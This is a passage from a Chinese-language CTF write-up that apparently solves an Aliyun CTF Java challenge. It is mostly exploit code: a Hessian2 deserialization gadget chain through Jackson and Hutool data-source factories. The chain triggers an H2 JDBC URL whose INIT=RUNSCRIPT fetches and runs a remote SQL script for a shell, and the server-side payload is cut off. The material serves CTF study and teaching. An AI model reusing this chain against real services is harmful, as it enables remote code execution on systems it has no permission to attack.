class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setTrace</span><span class="params">(Trace trace)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.trace = trace;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">H2DataSource</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="built_in">this</span>.initFactory();</span><br><span class="line">        <span class="type">int</span> <span class="variable">var1</span> <span class="operator">=</span> getNextId(<span class="number">12</span>);</span><br><span class="line">        <span class="built_in">this</span>.setTrace(trace, <span class="number">12</span>, var1);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream var1)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="built_in">this</span>.initFactory();</span><br><span class="line">        var1.defaultReadObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">initFactory</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.factory = <span class="keyword">new</span> <span class="title class_">JdbcDataSourceFactory</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getLoginTimeout</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.loginTimeout;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLoginTimeout</span><span class="params">(<span class="type">int</span> var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.loginTimeout = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> PrintWriter <span class="title function_">getLogWriter</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.logWriter;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogWriter</span><span class="params">(PrintWriter var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;setLogWriter(out)&quot;</span>);</span><br><span class="line">        <span class="built_in">this</span>.logWriter = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Connection <span class="title function_">getConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JdbcConnection</span>(<span class="built_in">this</span>.url, (Properties)<span class="literal">null</span>, <span class="built_in">this</span>.userName, StringUtils.cloneCharArray(<span class="built_in">this</span>.passwordChars), <span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Connection <span class="title function_">getConnection</span><span class="params">(String var1, String var2)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.isDebugEnabled()) &#123;</span><br><span class="line">            <span class="built_in">this</span>.debugCode(<span class="string">&quot;getConnection(&quot;</span> + quote(var1) + <span class="string">&quot;, \&quot;\&quot;)&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JdbcConnection</span>(<span class="built_in">this</span>.url, (Properties)<span class="literal">null</span>, var1, var2, <span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getURL</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getURL&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.url;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setURL</span><span class="params">(String var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.url = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getUrl</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getUrl&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.url;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUrl</span><span class="params">(String var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;setUrl&quot;</span>, var1);</span><br><span class="line">        <span class="built_in">this</span>.url = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setPassword</span><span class="params">(String var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;setPassword&quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="built_in">this</span>.passwordChars = var1 == <span class="literal">null</span> ? <span class="literal">null</span> : var1.toCharArray();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setPasswordChars</span><span class="params">(<span class="type">char</span>[] var1)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.isDebugEnabled()) &#123;</span><br><span class="line">            <span class="built_in">this</span>.debugCode(<span class="string">&quot;setPasswordChars(new char[0])&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.passwordChars = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">convertToString</span><span class="params">(<span class="type">char</span>[] var0)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> var0 == <span class="literal">null</span> ? <span class="literal">null</span> : <span class="keyword">new</span> <span class="title class_">String</span>(var0);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getPassword</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getPassword&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> convertToString(<span class="built_in">this</span>.passwordChars);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getUser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getUser&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.userName;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUser</span><span class="params">(String var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;setUser&quot;</span>, var1);</span><br><span class="line">        <span class="built_in">this</span>.userName = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getDescription</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getDescription&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.description;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setDescription</span><span class="params">(String var1)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getDescription&quot;</span>, var1);</span><br><span class="line">        <span class="built_in">this</span>.description = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Reference <span class="title function_">getReference</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getReference&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">var1</span> <span class="operator">=</span> JdbcDataSourceFactory.class.getName();</span><br><span class="line">        <span class="type">Reference</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="built_in">this</span>.getClass().getName(), var1, (String)<span class="literal">null</span>);</span><br><span class="line">        var2.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;url&quot;</span>, <span class="built_in">this</span>.url));</span><br><span class="line">        var2.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;user&quot;</span>, <span class="built_in">this</span>.userName));</span><br><span class="line">        var2.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;password&quot;</span>, convertToString(<span class="built_in">this</span>.passwordChars)));</span><br><span class="line">        var2.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;loginTimeout&quot;</span>, Integer.toString(<span class="built_in">this</span>.loginTimeout)));</span><br><span class="line">        var2.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">&quot;description&quot;</span>, <span class="built_in">this</span>.description));</span><br><span class="line">        <span class="keyword">return</span> var2;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> XAConnection <span class="title function_">getXAConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getXAConnection&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> XAConnection <span class="title function_">getXAConnection</span><span class="params">(String var1, String var2)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.isDebugEnabled()) &#123;</span><br><span class="line">            <span class="built_in">this</span>.debugCode(<span class="string">&quot;getXAConnection(&quot;</span> + quote(var1) + <span class="string">&quot;, \&quot;\&quot;)&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="built_in">this</span>.debugCodeCall(<span class="string">&quot;getPooledConnection&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.getXAConnection();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">(String var1, String var2)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.isDebugEnabled()) &#123;</span><br><span class="line">            <span class="built_in">this</span>.debugCode(<span class="string">&quot;getPooledConnection(&quot;</span> + quote(var1) + <span class="string">&quot;, \&quot;\&quot;)&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.getXAConnection(var1, var2);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> &lt;T&gt; T <span class="title function_">unwrap</span><span class="params">(Class&lt;T&gt; var1)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>.isWrapperFor(var1)) &#123;</span><br><span class="line">                <span class="keyword">return</span> (T) <span class="built_in">this</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">throw</span> DbException.getInvalidValueException(<span class="string">&quot;iface&quot;</span>, var1);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var3) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="built_in">this</span>.logAndConvert(var3);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isWrapperFor</span><span class="params">(Class&lt;?&gt; var1)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="keyword">return</span> var1 != <span class="literal">null</span> &amp;&amp; var1.isAssignableFrom(<span class="built_in">this</span>.getClass());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Logger <span class="title function_">getParentLogger</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.getTraceObjectName() + <span class="string">&quot;: url=&quot;</span> + <span class="built_in">this</span>.url + <span class="string">&quot; user=&quot;</span> + <span class="built_in">this</span>.userName;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>payload：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">connectionUrl</span> <span class="operator">=</span> <span class="string">&quot;jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#x27;http://127.0.0.1:8001/poc.sql&#x27;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">Bean</span> <span class="variable">bean</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Bean</span>();</span><br><span class="line"><span class="comment">//        Setting setting = new Setting();</span></span><br><span class="line"><span class="comment">//        setting.setCharset(null);</span></span><br><span class="line"><span class="comment">//        setting.set(&quot;url&quot;,connectionUrl);</span></span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> UnSafeTools.getUnsafe();</span><br><span class="line"><span class="comment">//        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(&quot;setting&quot;),setting);</span></span><br><span class="line"><span class="comment">//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(&quot;dsMap&quot;),new SafeConcurrentHashMap&lt;&gt;());</span></span><br><span class="line"><span class="comment">//        UnSafeTools.setObject(bean,Bean.class.getDeclaredField(&quot;data&quot;), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));</span></span><br><span class="line"></span><br><span class="line">        <span class="type">H2DataSource</span> <span class="variable">jdbcDataSource</span> <span class="operator">=</span> (H2DataSource) unsafe.allocateInstance(H2DataSource.class);</span><br><span class="line"></span><br><span class="line">        jdbcDataSource.setURL(connectionUrl);</span><br><span class="line">        jdbcDataSource.setLoginTimeout(<span class="number">5</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);</span><br><span class="line">        UnSafeTools.setObject(bean,Bean.class.getDeclaredField(<span class="string">&quot;data&quot;</span>), Base64.getDecoder().decode(SerialTools.base64Serial(o)));</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">Hessian2Output</span> <span class="variable">hessian2Output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Output</span>(byteArrayOutputStream);</span><br><span class="line">        hessian2Output.writeMapBegin(JSONObject.class.getName());</span><br><span class="line">        hessian2Output.writeObject(<span class="string">&quot;whatever&quot;</span>);</span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">pojoNode</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(bean);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">object</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;(pojoNode);</span><br><span class="line">        hessian2Output.writeObject(object);</span><br><span class="line">        hessian2Output.writeMapEnd();</span><br><span class="line">        hessian2Output.close();</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(byteArrayOutputStream.toByteArray());</span><br><span class="line">        <span class="type">Hessian2Input</span> <span class="variable">hessian2Input</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Input</span>((InputStream)byteArrayInputStream);</span><br><span class="line">        hessian2Input.readObject();</span><br></pre></td></tr></table></figure><p>这样拿取shell就可达到第二条，像第二条发送payload去打通<br>第二条的trace一直没加载进去，很奇怪，原生类序列化能不能打进去呢</p><p>之前继承的SimpleDSFactory也可以</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.aliyunctf.agent;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.map.SafeConcurrentHashMap;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.c3p0.C3p0DSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.druid.DruidDSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.jndi.JndiDSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.pooled.PooledDSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.simple.SimpleDSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.db.ds.tomcat.TomcatDSFactory;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.json.JSONObject;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.setting.Setting;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.com.caucho.hessian.io.Hessian2Input;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.com.caucho.hessian.io.Hessian2Output;</span><br><span class="line"><span class="keyword">import</span> com.aliyunctf.agent.other.Bean;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.node.POJONode;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.serial.SerialTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.source.SourceTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.unsafe.UnSafeTools;</span><br><span class="line"><span class="keyword">import</span> org.h2.jdbcx.JdbcDataSource;</span><br><span class="line"><span class="keyword">import</span> org.h2.jdbcx.JdbcDataSourceFactory;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.Trace;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.TraceObject;</span><br><span class="line"><span class="keyword">import</span> org.h2.message.TraceSystem;</span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;</span><br><span class="line"><span class="keyword">import</span> javax.sql.DataSource;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.atomic.AtomicReference;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"><span class="comment">//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">connectionUrl</span> <span class="operator">=</span> <span class="string">&quot;jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#x27;http://127.0.0.1:8001/poc.sql&#x27;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">Bean</span> <span class="variable">bean</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Bean</span>();</span><br><span class="line">        <span class="type">Setting</span> <span class="variable">setting</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Setting</span>();</span><br><span class="line">        setting.setCharset(<span class="literal">null</span>);</span><br><span class="line">        setting.set(<span class="string">&quot;url&quot;</span>,connectionUrl);</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> UnSafeTools.getUnsafe();</span><br><span class="line">        <span class="type">SimpleDSFactory</span> <span class="variable">pooledDSFactory</span> <span class="operator">=</span> (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);</span><br><span class="line">        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;setting&quot;</span>),setting);</span><br><span class="line">        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;dsMap&quot;</span>),<span class="keyword">new</span> <span class="title class_">SafeConcurrentHashMap</span>&lt;&gt;());</span><br><span class="line">        UnSafeTools.setObject(bean,Bean.class.getDeclaredField(<span class="string">&quot;data&quot;</span>), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        UnSafeTools.setObject(bean,Bean.class.getDeclaredField(<span class="string">&quot;data&quot;</span>), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">Hessian2Output</span> <span class="variable">hessian2Output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Output</span>(byteArrayOutputStream);</span><br><span class="line">        hessian2Output.writeMapBegin(JSONObject.class.getName());</span><br><span class="line">        hessian2Output.writeObject(<span class="string">&quot;whatever&quot;</span>);</span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">pojoNode</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(bean);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">object</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;(pojoNode);</span><br><span class="line">        hessian2Output.writeObject(object);</span><br><span class="line">        hessian2Output.writeMapEnd();</span><br><span class="line">        hessian2Output.close();</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(byteArrayOutputStream.toByteArray());</span><br><span class="line">        <span class="type">Hessian2Input</span> <span class="variable">hessian2Input</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hessian2Input</span>((InputStream)byteArrayInputStream);</span><br><span class="line">        hessian2Input.readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>只有开了–add-opens java.base&#x2F;java.util.concurrent.atomic&#x3D;ALL-UNNAMED<br>可以成功</p><h2 id="server"><a href="#server" class="headerlink" title="server"></a>server</h2><p>使用查找，分了两步<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240411013013.png"></p><p>即可<br>payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.aliyunctf.server;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.node.POJONode;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.reflect.ReflectTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.serial.SerialTools;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.unsafe.UnSafeTools;</span><br><span class="line"><span class="keyword">import</span> org.jooq.DataType;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Vector;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span 